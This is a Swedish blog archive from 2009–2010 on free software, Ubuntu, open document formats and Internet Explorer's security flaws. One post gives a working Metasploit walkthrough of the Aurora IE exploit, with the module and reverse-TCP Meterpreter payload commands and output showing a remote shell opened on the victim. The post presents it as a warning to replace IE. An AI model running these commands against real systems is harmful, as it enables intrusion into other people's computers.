Dagen till ära har jag lyft fram möjligheterna med kalendern ytterligare. På framsidan har jag lagt till länkarna till RSS Atom-flödet, iCalendar-flödet och lite annat smått och gott. Fosskalendern är ju inte bättre än det antal människor som använder den, så ju fler som vet om den och ju enklare det är att använda den, desto bättre. Jag kommer att posta några howto's för hur man prenumererar och lägger upp evenemang lite senare.

Som lök på laxen har jag lagt till en facebook-sida för Fosskalendern.se, samt en twitter-sida, som kommer att användas för att tweeta evenemang från kalendern.

Om ni har idéer på förbättringar eller ändringar som skulle göra Fosskalendern.se ännu bättre, tveka inte att höra av er!

Läs även andra bloggares åsikter om evenemang, foss, fosskalendern, fri programvara, sverige, öppen källkod

Så här fungerar Aurora-hacket på Internet Explorer 6

2010-01-18T18:52:00.005+01:00

Metasploit-projektet är världens största ramverk för IT-penetrationstester. Det är öppen källkod och har den absolut största databasen med kända exploits - säkerhetsluckor - av alla testmiljöer därute på det stora vida internet.

Som jag skrev tidigare så har Metasploit bara några timmar efter tillkännagivandet ordnat ett exploit för det så kallade Aurora-hacket.

Hacket kräver att en webbserver av något slag serverar koden till den sårbara maskinen. Enligt Metasploits blogg, fungerar hacket med en fullt patchad Windows Xp med Service Pack 3.

För att köra igång Metasploit, installera senaste versionen och kör en online-uppdatering.

Starta konsollen med kommandot msfconsole och skriv kommandona i fetstil:

msf > use exploit/windows/browser/ie_aurora
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_aurora) > set LHOST (din IP-adress)
msf exploit(ie_aurora) > set URIPATH /
msf exploit(ie_aurora) > exploit

[*] Exploit running as background job.
[*] Started reverse handler on port 4444
[*] Local IP: http://192.168.0.151:8080/
[*] Server started.

msf exploit(ie_aurora) >

Öppna Internet Explorer på en sårbar maskin och skriv in det lokala IP-numret (i det här fallet http://192.168.0.151:8080/) i adressfältet. Om allt fungerat som det ska bör du få ett svar från Metasploit-konsollen, som ser ut såhär:

[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.151:4444 -> 192.168.0.166:1514)

Efter detta kan du inleda en ny session med kommandona i fetstil:

msf exploit(ie_aurora) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WINXP\Developer

meterpreter > use espia
Loading extension espia...success.

meterpreter > shell
Process 892 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Developer\Desktop>

och du är inne i systemets kommandotolk.

En fin video finns från de snälla människorna på Praetorian:

The "Aurora" IE Exploit in Action from The Crew of Praetorian Prefect on Vimeo.

Den visar hur du gör rent praktiskt för att starta exploiten och döda en process, som ett proof-of-concept.

Denna säkerhetsbrist är alltså just i skrivande stund och sedan tre-fyra dagar tillbaka i allra högsta grad levande. Visserligen krävs det ett spam-epostmeddelande eller kanske någon illasinnad länk skickad via twitter för att få det att fungera, men i dessa url-förkortningstider (Bit.ly för att bara ta ett exempel) är det inget större problem att skicka skräp till varandra.

Varenda statlig institution, varje företag och ideell organisation som fortfarande kör en fullt patchad Windows XP med Service Pack 3, men fortfarande använder Internet Explorer 6 är alltså sårbara för den här typen av intrång!

Så här enkelt är det att ta sig in i ditt nätverk via webbläsaren Internet Explorer 6. Internet Explorer 7 har också denna sårbarhet om än med en variant, likaså en Internet Explorer version 8 om Data Execution Protection (DEP) av någon anledning är avslaget.

Byt ut din Internet Explorer nu!

Läs även andra bloggares intressanta åsikter om attack, banker, exploit, företag, ie, internet explorer, metasploit, microsoft, riskmedvetenhet, säkerhet

Sveriges IT-incidentcentrum (Sitic) varnar också för att använda Internet Explorer

2010-01-18T15:54:00.009+01:00

Efter att Tyskland (SvD, DN) och även Frankrike (Google-översatt från le Monde) gått ut och varnat för att använda Internet Explorer, gör nu Sveriges IT-incidentcentrum Sitic detsamma, om än inte i samma kraftfulla ordalag.

Detta är knappast förvånande. Så gott som hela Sveriges offentliga IT-infrastruktur är ju byggt på produkten ifråga och Sitics policy är att inte uttala sig om specifika produkter, enligt IDG.se. Tor Johnson, säkerhetsexpert på Sitic citeras med

– En temporär lösning kan vara att använda en annan webbläsare

Sitic menar dock att alla Windows-versioner kan påverkas, liksom Internet Explorer 6, 7 såväl som 8, även om hotet är mindre med version 8, på grund av dess Data Execution Prevention (DEP). Eftersom Sitic har sin policy får den här rekommendationen ses som relativt kraftfull. Föga förvånande är inte Daniel Akenine, teknikchef på Microsoft i Sverige lika skeptisk. Han rekommenderar istället att man uppgraderar till Internet Explorer 8 och väntar på en säkerhetsuppdatering som kommer .. någon gång.

Att hotet är allvarligt visas dock av att Microsoft funderar på att gå utanför sina vanliga rutiner och släppa en uppdatering innan sin sedvanliga patch-tisdag, som brukar vara den andra tisdagen i varje månad.

Att det enligt Akenine inte synts någon större spridning spelar mindre roll när hotet är allvarligt och Metasploit släppt en funktion för att använda sårbarheten på ett enkelt sätt. Även om Microsoft i Tyskland tonat ned hotbilden genom att uttala sig om att attackerna utfördes av

"extremt motiverade människor med en mycket specifik agenda" och att "attacken inte var riktad mot vanliga användare eller konsumenter"

Det är inte samma sak som att den inte kan riktas mot vanliga användare eller konsumenter, märk väl.

Blogge uttrycker sig som vanligt rätt så mustigt kring det hela.

Jag undrar när bankerna vaknar till liv och tar upp plånboken för att uppgradera sina interna system från Internet Explorer 6. Jag vet åtminstone två av våra största banker som sitter med enbart Internet Explorer 6 på de interna nätverken. Jag känner mig inte alls säker att mina pengar förvaltas väl av våra storbanker.

Med den här säkerhetsbristen känns det ännu mer ovisst.

Läs även andra bloggares åsikter om attack, banker, exploit, ie, internet explorer, metasploit, microsoft, sverige, säkerhet

UK: Arresterad för bombskämt på Twitter

2010-01-18T13:24:00.004+01:00

Bild från forth.ie

This just in: Twittraren Paul Chambers, som klokt nog låst sina tweets numera, arresterades under Terrorism Act i Storbritannien efter att ha ventilerat sin frustration då den flygplats som han skulle åka ifrån en vecka senare stängts på grund av massivt snöfall. För att roa sina vänner skrev han:

"Robin Hood airport is closed. You've got a week and a bit to get your shit together, otherwise I'm blowing the airport sky high!!"

Det var menat som ett skämt, men polisen tog det inte riktigt så. En vecka senare arresterades han och förhördes i ungefär sju timmar, enligt The Independent.

Det här visar (återigen!) på att det inte spelar någon roll hur "rent mjöl i påsen" man har, när det handlar om scared-shitless ordningsmakter med våldsmonopol så kan man ändå åka på rätt rejäla obehagligheter. Han har dessutom blivit bannlyst från Doncaster-flygplatsen på livstid. Det känns rimligt.

Till er som tycker att han får skylla sig själv: eat my shorts. Man ska kunna skämta om såna här saker utan att det leder till massarresteringar och utlämnande till någon tortyr-nation. Det här är så löjligt att klockorna stannar.

Läs även andra bloggares åsikter om internet, storbritannien, storbrutannien, terror, twitter, uk, övervakning

Det öppna Norge

2010-01-18T10:21:00.004+01:00

Öppna dokumentformat handlar om sättet att lagra information i exempelvis ett ordbehandlingsdokument. Ett öppet dokumentformat har utarbetats av en oberoende sammanslutning i en öppen process. Öppna dokumentformat har också en referensimplementation som visar hur det ska fungera, och ett publikt dokument som beskriver hur det är uppbyggt. Detta för att man på ett enkelt sätt ska kunna använda dokumentformatet i sin egen produkt och därför få en jämnare konkurrenssituation.

Att Norge i jämförelse med Sverige är väldigt långt framme när det gäller öppna dokumentformat är kanske ingen nyhet för många av mina läsare. Den norska Referenskatalogen för standarder inom offentlig sektor har sedan länge hänvisat till OpenDocument-formatet (ODF) (ISO 26300) och PDF/A (ISO 19005-1) som format för att hantera text-dokument.

Att standardisera myndighetskommunikation på öppna format har flera fördelar. En är att befolkningen kan ta del av informationen utan att tvingas köpa programvara, eller piratkopiera densamma. I Sverige är det mer regel än undantag att skolelever tvingas piratkopiera eller i undantagsfall lägger pengar på att köpa Microsoft Office för att kunna ta del av information från skolan på sina hemdatorer. En annan fördel är att dokumentformatet aldrig kommer att "gå ur tiden" eftersom standarden är öppet tillgänglig och publicerad. Om så dokumenten blir 1000 år gamla så kommer de att kunna läsas i den form de skrevs, eftersom det går att tolka dokumenten så som avses, under förutsättning att lagringsmediat är läsbart förstås.

I en undersökning från 2008 kunde 80 procent (80%) av Sveriges kommuner inte svara på dokument som skrivits i ett öppet eu-standardiserat dokumentformat. De andra hänvisade till exempel till att skicka i Microsofts .doc-format, eller "i ett format som vi kan öppna".

Nu meddelar Norsk Rikskringkastning (NRK) att man inför OpenOffice.org, ett fritt och gratis kontorspaket som kan läsa och skriva det standardiserade formatet ODF. Detta i tillägg till att all media från NRK ska vara tillgänglig i de öppna formaten Ogg/Theora (video), Ogg/Vorbis (ljud) och FLAC (förlustfritt ljud).

Anledningen till bytet uppges bland annat vara att Mac OS X-versionen av Microsoft Office inte hanterar ODF-formatet, vilket gör att de drygt 850 Apple-datorerna som NRK har inte kan använda sig av det standardiserade formatet. Man menar också att licenskostnaderna för Office-paketet är en del i anledningen till att bytet ska göras.

De få problem som tillstött härrör ur de dokument och mallar där VisualBasic-kod använts för att automatisera beställningar och visa scheman. Man kommer att lösa detta genom att lägga scheman (som sig bör i mitt tycke) i en nätverksdatabas istället för i dokument. Andra problem som uppkommit är regelhanteringen mot Microsoft Exchange och varsling om ny epost, då man gått över till att köra Outlook WebAccess via webbläsaren istället för programmet Outlook.

Som statsrådet Heidi Grande Røys uttryckte saken (fritt översatt):

Det är ett demokratiskt problem när inte alla kan följa med [i Stortings-debatter] för att staten och andra använder proprietära lösningar

Man har därför bestämt att alla offentliga institutioner ska följa dessa dokumentstandarder senast 1 januari 2011 och att alla offentliga webbplatser som serverar ljud- och bildinnehåll ska införa Ogg-formaten till 1 januari 2012 och att tidigare inspelat innehåll ska vara konverterat till 1 januari år 2014. Man trycker också hårt på att alla offentliga webbplatser ska använda teckenuppsättningen UTF-8 (ISO 10646).

Till detta kan läggas att Norge har ungefär 300 högstadie- och gymnasieskolor som kör öppen och fri programvara i verksamheten.

Det hade varit intressant att se en parallell-installation av OpenOffice.org på alla svenska statliga datorer någon gång i framtiden, så att man kan öppna dessa dokumentformat överallt. Det kostar som sagt inget i licenskostnader, men är givetvis inte gratis i arbetstid.

Vinsterna för samhället i stort skulle dock kunna bli rejäla på sikt.

Det är dags att ta ett krafttag för att få bukt med de här problemen. Jag kommer att starta upp ett projekt om några månader som syftar till att bygga en öppen infrastruktur för skolor att bygga på. Den som vill vara med i projektet är välkommen att kommentera det här inlägget.

Läs även andra bloggares intressanta åsikter om datorer, dokumentformat, fri programvara, linux, norge, nrk, öppna dokumentformat, öppna format, öppen källkod

Tysklands IT-säkerhetsmyndighet avråder från att använda Internet Explorer

2010-01-16T18:14:00.003+01:00

Ingen har väl missat Googles utspel mot Kina efter att man upptäckt en attack mot företaget som hade sitt ursprung därifrån. Då fick ju Google en chans att slå sig för bröstet och äntligen sätta en liten newton bakom sitt "Don't be evil"-mantra. Nu står det klart att det var en svaghet i Internet Explorer 6,7 och 8 som användes, som gör det möjligt att fjärrköra programkod via webbläsaren. Opassande har gjort en bra länksammanfattning av det inträffade.

Microsoft har utfärdat säkerhetsmeddelandet 979352 som beskriver problemet. Det lovas också att hålet ska tätas till "inom kort".

Problemet är dock att verktyget Metasploit som testar penetration av nätverk hade en funktion klar för att utnyttja sårbarheten inom några få timmar efter tillkännagivandet. Alltså långt innan säkerhetshålet ens börjat täppas till, vilket återigen bevisar att det är omöjligt för enskilda företag att hålla jämna steg med det kollektiva internet.

Tysklands IT-säkerhetsmyndighet (BSI) har därför uppmanat alla tyska medborgare och myndigheter att sluta använda Internet Explorer till förmån för andra webbläsare, åtminstone tills hålet är tätat igen. De meddelar också att köra Internet Explorer i "skyddat läge" stoppar inte möjliga attacker.

Jag hoppas att svenska myndigheter följer efter för att trygga vår statliga information mot intrång utifrån. Här är det ju bara interna myndigheter som får ta del av folkets snaskiga hemligheter.

Detta är ännu en spik i Internet Explorers kista och jag utgår nu ifrån att myndigheter och företag på allvar börjar uppdatera sina nätverksanslutna datorer så att vi slipper höra om eländet något mer. Internet Explorer 6 är för guds skull nio (9!!) år gammal vid det här laget.

Läs även andra bloggares intressanta åsikter om attack, exploit, google, ie, internet explorer, kina, metasploit, microsoft, tyskland

Midisequencern och ljudinspelaren MusE i version 1.0

2010-01-10T05:05:00.002+01:00

Precis innan jul släpptes MusE i version 1.0, vilket också tidningen Studio har uppmärksammat. MusE är en midisequencer och ljudinspelare som tar upp kampen med Rosegarden och Ardour.

MusE har stöd bland annat för VST och DSSI, LADSPA och JACK, vilket innebär att det integrerar bra i en Linux-ljudmiljö. MusE 1.0 är skrivet för QT3.

Robban på spamatica.se har gjort ett gäng videotutorials som visar hur man använder MusE för de mest grundläggande operationerna, bland annat att spela in ett MIDI-spår med ett externt MIDI-keyboard och en SoundFont via FluidSynth:

Nästa del (1 av 2) går igenom metronom-inställningar, midi-editering, loopar och quantizing:

(2 av 2) går igenom sparande av midi-delar, delning av midi-inspelning, klipp och klistra, plugins för midi-instrument, effekter, presets och velocity:

Den tredje delen går igenom trumprogrammering i MusE, men den går dessvärre inte igenom hur man får in trumsamplingar och trum-mappningar i programmet, så den är inte helt lämpad för totala nybörjare:

Om det dyker upp fler tutorials om MusE från Robban, bör de gå att hitta på hans youtube-sida.

Om ljudproduktion i Linux kan man få grunderna i min blogg http://linux-daw.blogspot.com. Även fast informationen är ganska gammal så är det mesta sig likt, förutom att PulseAudio har kommit in och kastat om förhållandena lite. Dock kör man fortfarande JACK över ALSA när man håller på med musik, så det bör fungera.

Läs även andra bloggares åsikter om alsa, datorer, fri programvara, jack, linux, ljudproduktion, midi, muse, sequencing, öppen källkod

Lögn, förbannad lögn och statistik

2010-01-06T10:07:00.002+01:00

IDG.se rapporterar att Windows marknadsandel går kräftgång. Artikeln i fråga hänvisar inte till någon källa, så hur tillförlitliga siffrorna är som rapporteras i den är oklart.

Emellertid hänvisas det i kommentarerna till Net Applications senaste mätning, som även SweClockers hänvisar till och siffrorna överensstämmer med de som redovisas i IDG-artikeln. Det som framkommer i SweClockers-artiken är att det är mobila enheter som står för orsaken till Windows tappade marknadsandel, inte de konkurrerande skrivbordssystemen Mac OS X och Linux. Även om jag gärna sett att det var det. Istället är det alltså iPhone och Android som vinner mark. I och för sig är detta produkter baserade på Apple-teknik och Linux, så all is well that ends well, kanske.

Glädjande är dock att Linux ligger över enprocents-strecket. I slutet av april kommer den nya Ubuntu-versionen 10.04, Lucid Lynx. Det är en så kallad Long Term Support-version, vilket innebär att den stöds med uppdateringar och säkerhetspatchar i tre år för skrivbordsversionen och i fem år för serverversionen.

Den senaste versionen, 9.10 Karmic Koala, var en stor besvikelse för mig. Efter att ha skrivit om den, väntat på den och trott på produkten efter att ha testat den som virtuell maskin, fick jag den inte ens att starta på min dator. Urban Anjar, som läste mina besvikna bloggposter, tyckte att det handlade om en "nästa-version-sjuka" vilket jag tyckte var för dumt för att kommentera just då.

Jag är otroligt motivationsdriven i det jag tar mig för. Jag har aldrig varit speciellt bra på att jobba för företeelser, rörelser eller produkter som jag inte tror på. Att lägga ner tankemöda, lust och kreativitet i något som jag tappat tron på är för mig väldigt motigt. Jag är ganska intensiv till min natur och när jag brinner för något kan jag jobba väldigt koncentrerat och länge utan rast eller vila och bara mala på tills det är klart. Dessa saker kan variera från dag till dag, men det blir alltid hundraprocentigt. Vissa skulle kalla det maniskt.

När jag då jobbat för Ubuntu så intensivt och helhjärtat under en längre tid, och slutresultatet blir att min dator inte kan starta upp med den nya Linux-kärnan, ljudet inte fungerar längre, det mobila bredbandet vägrar att ta emot DNS-serverinställningarna och USB-subsystemet inte funkar som det har gjort, då tappar jag sugen. Vilket var vad som delvis hände efter 9.10.

En gång i tiden satt jag och kompilerade kärnor, tweakade konfigurationsfiler och kunde läsa howtos och mailinglistor på nätet under flera dagar för att få saker att fungera. Nu, med en enda hyfsad dator som jag kan använda, funkar inte det tillvägagångssättet längre. Jag måste ha en dator som fungerar till det jag måste göra. Jag kan inte sitta i timmar och felsöka, tweaka och meka.

Att uppgradera från 9.04 till 9.10 var en fullständig katastrof för mig. Att ubuntus buggsystem har svämmat över är väl bevis nog för att jag inte är ensam om att ha fått problem. Barre har såklart rätt i att de som vill ha fungerande stabila system bör köra LTS-versionerna. Kanske har jag blivit bortskämd med att de mellanliggande versionerna fungerat så bra för mig att jag förväntar mig att de ska göra det för all framtid. Egentligen bryr jag mig inte om hur bra det funkar för andra. Det är min egen upplevelse som jag primärt går efter. Kanske har det avskräckt många helt i onödan och det är såhär i efterhand väldigt dumt.

Jag är glad för alla personer som fått 9.10 att fungera klockrent med sin dator och det är glädjande att se att ubuntu-användandet växer hela tiden, men för mig har motivationen för att sprida Ubuntu mattats av en aning av mitt eget misslyckande att köra den senaste versionen. Så jag sitter fortfarande med 9.04 och är nöjd med den. Jag ska göra ett nytt uppgraderingsförsök när 10.04 kommer. Jag tycker fortfarande att Ubuntu är ett överlägset bra system. Öppen källkod och Fri programvara har framtiden för sig och Ubuntu är något av det bästa man kan erbjuda på den fronten.

Jag har därför stora förhoppningar på att nästa version av Ubuntu, 10.04, kommer att vara ett stabilt, robust system som verkligen kan ta upp kampen om operativsystemsandelarna på allvar. Linux som helhet står väl rustat för skrivbordet med stöd för USB 3.0, multitouch och massor av annat.

Just nu håller jag istället på och klipper i den film jag håller på med om FOSS. Jag har en del material kvar att få in, men förhoppningsvis blir den klar till i april, när Lucid Lynx lanseras den 29:e. För övrigt ett datum som redan nu finns med i fosskalendern. Planeringen har redan börjat och vill du vara med och dra i tåtarna så går det bra att påverka både här och där.

Med förhoppning om ett gott nytt Ubuntu Linux-år!

Bakdörr för NSA i Windows 7?

2009-11-20T08:02:00.002+01:00

För några dagar sedan vittnade en anställd vid National Security Agency (NSA) inför den amerikanska kongressen att myndigheten hade varit med i utvecklingen av Windows 7. (via Slashdot)

NSA har enligt vissa källor i artikeln varit inblandat i utvecklingen av Windows sedan "kryptokrigen" på 1990-talet och givetvis dyker det upp spekulationer om att NSA har byggt in bakdörrar i Microsofts operativsystem för att enkelt kunna spåra och övervaka användarna. Detta har nu Microsoft förnekat.

Att NSA har velat ha möjlighet att enkelt gå in och läsa data gjordes klart redan 1993 när de släppte ett förslag om det så kallade Clipper-chipet som skulle ge användarna stark kryptering men också erbjuda amerikanska myndigheter möjligheten att genom en bakdörr kunna läsa information från vilket system som helst.

Kommunikationsjätten Cisco har också utformat sina produkter för att kunna erbjuda "lawful intercept" i kommunikationen.

Enligt artiklarna ovan har NSA varit inblandad i samband med utformandet av Security Compliance Management Toolkit, som är en del av Windows 7. Nu tror inte jag att Microsoft skulle satsa sitt rykte och sin marknad på att bygga in en bakdörr i sitt operativsystem. Det är illa nog som det är med DRM och Windows Genuine Advantage, men det finns en faktor som skulle gjort alla dessa spekulationer helt överflödiga.

Om Windows hade utvecklats med öppen källkod, skulle det inte kunna finnas några som helst tvivel på att ingen sådan bakdörr existerar. Säkerhetsexperter skulle själva kunna granska koden och de säkerhetsmedvetna (och paranoikerna) skulle kunna kompilera sin egen version utifrån den granskade källkoden. Alla skulle kunna känna sig säkra på att man har en version av sitt operativsystem som inte "ringer hem" eller låter ens personliga kommunikation övervakas.

Kontroll är det främsta incitamentet för öppen källkod.

Läs även andra bloggares åsikter om avlyssning, bakdörr, datorer, fri programvara, nsa, windows, öppen källkod, övervakning

Installera Ubuntu 9.10 inuti Windows

2009-11-08T19:03:00.007+01:00

Det absolut enklaste sättet att installera Ubuntu är att göra det som en del av Windows. För att göra det behöver du WUBI (Windows-baserad UBuntu Installer). Det är ett Windowsprogram som du kan ladda ner här, som installerar Ubuntu som ett program inuti Windows, som kan tas bort genom Kontrollpanelens Lägg till/Ta bort program.

Klicka för att hämta

För att köra Wubi behöver du en fungerande Internet-anslutning. Programmet är 1.4 Megabyte stort, men när du kör igång programmet och börjar installera Ubuntu kommer programmet att hämta hem runt 700 Megabyte data, för att sedan installera Ubuntu.

Välj skrivbordssytem, installationsstorlek och användarnamn och lösenord. Sen kan du gå och ta en kopp...

Med installationsstorlek menas hur mycket av hårddisken som ska upptas av Ubuntu-installationen. Installationsprogrammet skapar en fil på hårddisken som används av Ubuntu. En installationsstorlek på 6 gigabyte skapar således en fil på hårddisken som är 6 gigabyte stor.

Användarnamn och lösenord krävs också, eftersom Ubuntu vill ha ett användarnamn att använda för administrativa åtgärder (administrationsrättigheter). Det behöver väl egentligen inte påpekas, men glöm inte bort ditt lösenord. Även om det går att ange att lösenord inte behöver anges vid inloggning, krävs lösenordet vid programinstallationer och andra operationer som kräver administratörsrättigheter.

När Ubuntu är installerat och datorn sedan startar upp, kommer du att få två val, antingen att starta upp din Windows-installation, eller starta upp Ubuntu.

Uppstartsväljaren efter installation av Ubuntu i Windows

Wubi fungerar för

Windows 98
Windows 2000
Windows XP och
Windows Vista

Wubi går att installera i Windows 7 också, men måste då köras i Vista-kompatibelt läge.

Avinstallation

Att avinstallera Ubuntu är lika enkelt som att avinstallera vilket Windows-program som helst. Genom att gå in i Kontrollpanelen och sedan leta upp Lägg till/Ta bort program (i Windows XP) eller Program och Funktioner (i Windows Vista), går det att välja avinstallation som alla andra Windows-program.

Ubuntu kan enkelt avinstalleras genom ett knapptryck.

Det fina med Wubi är att det inte kräver någon uppdelning av hårddisken (partitionering), ingen CD-bränning och man slipper krångla med avinstallationen och återskapa originalpartitionen. Det är ett väldigt enkelt sätt att prova på fri programvara och öppen källkod.

Kom bara ihåg att Ubuntu Linux inte är Windows. Det kommer inte och ska inte fungera exakt som Windows. Det står bra på egna meriter. Däremot behövs det en del inställningar efter installationen för att man ska kunna använda sin dator fullt ut. Se gärna guiden nedan för tips och tricks för att få ett fullt fungerande Ubuntu-system:

Ubuntu Steg för Steg.

Jag hoppas att du får mycket nöje av din Ubuntu-installation. Du är välkommen att ställa frågor på forumet om det uppstår några funderingar.

Läs även andra bloggares åsikter om 9.10, datorer, fri programvara, installation, karmic koala, linux, microsoft, ubuntu, windows, öppen källkod

PyRoom - Jan Guillous nya ordbehandlare?

2009-11-04T09:53:00.003+01:00

PyRoom (tack för tipset Påvel) är ett program för skrivande som går åt rakt motsatt håll än alla andra. Istället för att erbjuda tusentals funktioner, menyer och knappar till förbannelse och effekter, justeringar, marginaler till den milda grad att skrivytan blir den mindre delen av skärmen, försöker PyRoom att vara så minimalistisk som möjligt för att man ska kunna fokusera på skrivandet istället för formatteringen.

De inställningar man kan göra är färgval, typsnitt och om man vill ha indrag på nya paragrafer. Här har jag ställt in Times New Roman i storlek 12, med temat Amber:

Befriande rent användargränssnitt i PyRoom.

Programmet kan hantera klipp och klistra via <CTRL>+<C>, <V> och <X> precis som vanliga program, eller via högerklick. Filerna sparas som vanlig text, utan någon som helst formattering. Möjligheten till import och framtidssäker lagring är därför helt outstanding.

PyRoom kan även behandla flera texter samtidigt genom möjligheten att använda flera olika text-buffertar. Dessa kan man växla mellan genom <CTRL>+<PgUp> eller <PgDn>.

Även om jag skulle vilja ha lite fler formatteringsmöjligheter, som kanske tre olika rubriksteg och möjlighet till fet och kursiv stil, tycker jag att PyRoom (webbplats) är helt vidunderligt skönt att arbeta med. Inget onödigt pjosk och meningslösa funktioner som aldrig används. En enda ruta där man skriver texten rakt upp och ner, utan krusiduller. Så befriat från distraherande knappar och menyer, linjaler, ritfunktioner, animationer och tabellfunktioner.

Bara skriv. Som rollkaraktären William Forrester (spelad av Sean Connery) från filmen Finding Forrester så träffande beskrev det:

The key to writing is to write, not to think.

Jag skulle kunna tänka mig att till och med teknikfientliga maskinskrivare som Jan Guillou skulle uppskatta PyRoom, som är en fri variant av programmet WriteRoom. Om det avhåller honom från att yttra sig om teknik som han absolut inte har en aning om återstår att se, men jag kommer inte att hålla andan tills det sker, så mycket kan jag tala om.

----

Övrigt läsvärt i dagarna är Marcus Rejås, som benar ut turerna kring Skypes eventuella öppnande av källkoden.

Inte minst relevant för den här bloggposten är Urban Anjars kåseri om användarvänlighet, eller kanske snarare användbarhet, det vill säga den grad i vilken användare i ett givet sammanhang kan bruka en produkt för att uppnå specifika mål på ett ändamålsenligt, effektivt och för användaren tillfredsställande sätt.

Läs även andra bloggares åsikter om datorer, fri programvara, it, jan guillou, ordbehandling, pyroom, öppen källkod

Ubuntu 9.10 buggigaste Canonical-släppet på länge

2009-11-04T08:50:00.002+01:00

Efter en knapp vecka sedan releasen av Ubuntu 9.10 Karmic Koala dyker det upp rapport efter rapport som meddelar att väldigt många har problem med sina uppgraderingar och även nyinstallationer av Ubuntu 9.10.

Många så kallade "early adopters", de som uppgraderar först, är relativt tekniskt kunniga människor som kan sitt Linux såpass att de kan åtgärda många mindre fel själva med en trollstav, lite Google-magic och en gnutta tur. Även dessa har gått bet på många små fel och brister i den senaste releasen av Ubuntu.

Själv har jag drabbats relativt lite. Det mesta har fungerat rätt ur lådan, men det är en del rätt irriterande detaljer som jag märkt i efterhand. Till exempel fungerar inte jack-sense för hörlursuttaget. Jag kan inte lyssna på ljud i någon form om jag inte har hörlurarna ipluggade. Då kommer det ljud, men ur de inbyggda högtalarna i laptopen. I hörlurarna är det knäpptyst.

Dessutom kan jag inte starta upp på den nyaste kärnan 2.6.31-14 utan där får jag upp ett blinkande understreck och sen händer det inget på åtminstone en timma, vilket till och med för en tålmodig kille som mig är en oacceptabel uppstartstid oavsett utgång i slutändan.

Och jag undrar var buggfixarna är någonstans? Det har som sagt gått en vecka och det som kommit i uppdateringsväg är skitsaker som nån firefox-sårbarhet som täppts till och lite annat krafs. Inget som påverkat mina problem i någon positiv utsträckning.

Flera röster har höjts att släppet är undermåligt. Detta är en högst allvarlig sak för Ubuntu och framförallt trovärdigheten hos användarna. Man ska vara väldigt mån om sina early adopters. Det är de som provar först som blir försäljare av produkten till andra. Funkar det dåligt för dessa vill man inte rekommendera uppgraderingen till andra.

När företaget Lexus lanserade sin första lyxmodell i USA, fick man problem med ett mindre fabrikationsfel. Man gjorde då en perfekt återkallning genom att personligen ringa upp alla de tusentals personer som köpt bilarna och förklara situationen, ge dem en personlig mekaniker som gjorde hembesök om de hade för långt att åka till verkstaden, samt fyllde upp tanken som tack för besväret. Det bygger förtroende även i kristider. De ekonomiska musklerna har vi tyvärr inte inom öppen källkods-världen där allt engagemang bygger på frivilliga insatser. Så många och svåråtgärdade fel som Ubuntu 9.10 innehållit hittills att döma av rapporterna, gör det svårt att få tag på tillräckligt mycket folk som kan ge ihållande och relevant hjälp.

Jag skulle själv inte våga installera eller uppgradera till Ubuntu 9.10 på någon annans dator i dagsläget. Speciellt inte om de redan har en fungerande miljö som fyller deras behov. Jag skulle rekommendera att de som vill testa Ubuntu istället installerar 9.04 i dagsläget. Istället tycker jag att man bör vänta en månad tills alla fel och frågetecken har rätats ut.

Ändå är det många som har haft underbara och helt problemfria installationer och uppgraderingar på väldigt mycket olika hårdvara, så vill du testa är det fritt fram. Men man bör vara medveten om att problem kan uppkomma.

Läs även andra bloggares åsikter om 9.10, datorer, fri programvara, karmic koala, linux, ubuntu, öppen källkod

Egentligen för dumt för att kommentera..

2009-10-30T08:53:00.003+01:00

Tyskland vill kräva betalt för länkning på internet. Tanken bakom förslaget är så urbota idiotisk att jag mest blir trött, men jag vill ändå lyfta fram något som vi diskuterade igår.

Ponera att tidningen die Welt vill att Google ska betala för att de länkar till die Welts nyheter, eller ta bort länkarna. Google svarar med att ta bort länkarna till die Welt, och slutar indexera alla sidor som länkar till artiklar i die Welt. die Welt slutar att existera i Google, och därmed för nästan 90% av sin målgrupp.

Är det vad tysklands mediaföretag vill?

Vidare, vad är en kommersiell aktör? Är det en tonårstjej med Google AdSense på sin sida, eller var drar man gränsen?

Vidare har Storbritannien på förslag att stänga av misstänkta fildelare utan rättslig prövning. Hur många falska positiver det kommer att leda till kan jag bara spekulera om, men här har man ju tydligt kastat alla rättsprinciper ut genom fönstret.

Det är så man tar sig för pannan.

Läs även andra bloggares åsikter om annonser, fildelning, google, storbritannien, tyskland, upphovsrätt

Livebloggande från Östersunds Ubuntu-releasefest

2009-10-29T19:04:00.005+01:00

Festen har börjat, publiken är vild. Nu sitter vi sex tappra själar och fler är på väg. Just nu är det popcorn, sprite och en och annan öl, senare blir det mat, en hel del ubuntu-snack och allmänt linux-tjöt.

.. och där blev vi åtta.

Yours truly med ett sedvanligt vackert ansiktsuttryck.

Inte mycket uppgraderande idag, mest mat och trevligheter. :)

Läs även andra bloggares åsikter om datorer, fri programvara, linux, releasefest, ubuntu, öppen källkod

Vita huset byter till Drupal

2009-10-27T21:00:00.004+01:00

Genom övergången till Drupal kan Obama nu använda sin tid till annat, som att öva på att gå på vattnet och att leva upp till norska Nobelkommitténs förväntningar.

Via Karl Sigfrid får jag mig till livs att sajten whitehouse.gov, alltså Vita Husets officiella webbplats, går över till publiceringssystemet Drupal, ett Content Management System (CMS) med öppen källkod.

Kul att se att även IDG rapporterar om det, om än ett dygn efter Karl Sigfrid. Man kan ju inte vara först varje gång.

Ännu roligare är att se att stora svenska organisationer och företag går den öppna vägen via Drupal, som jag i och för sig rapporterat om förut.

Precis som det som gäller för gemenskapen Ubuntu Sverige, kommer Drupalanvändarna att kunna ta del av en av världens största ideella utvecklarcommunities, där specialutvecklade moduler kan användas utan någon inköpskostnad, där man kan ställa hur mycket frågor som helst och få hjälp från de skarpaste hjärnorna i branschen.

Inte minst är man inte beroende av en enda leverantör, och det kan vara värt hur mycket pengar som helst i slutändan. Tänk vilka prispressade upphandlingar man kan få.

Läs även andra bloggares åsikter om cms, drupal, fri programvara, publiceringssystem, vita huset, öppen källkod

Ubuntu.se släpper remix av Karmic Koala

2009-10-26T10:07:00.002+01:00

Gänget på Ubuntu.se har varit snabba i svängarna och släppt sin remix version 4.0 baserad på kommande Ubuntu 9.10 Karmic Koala, som släpps torsdag den 29 oktober.

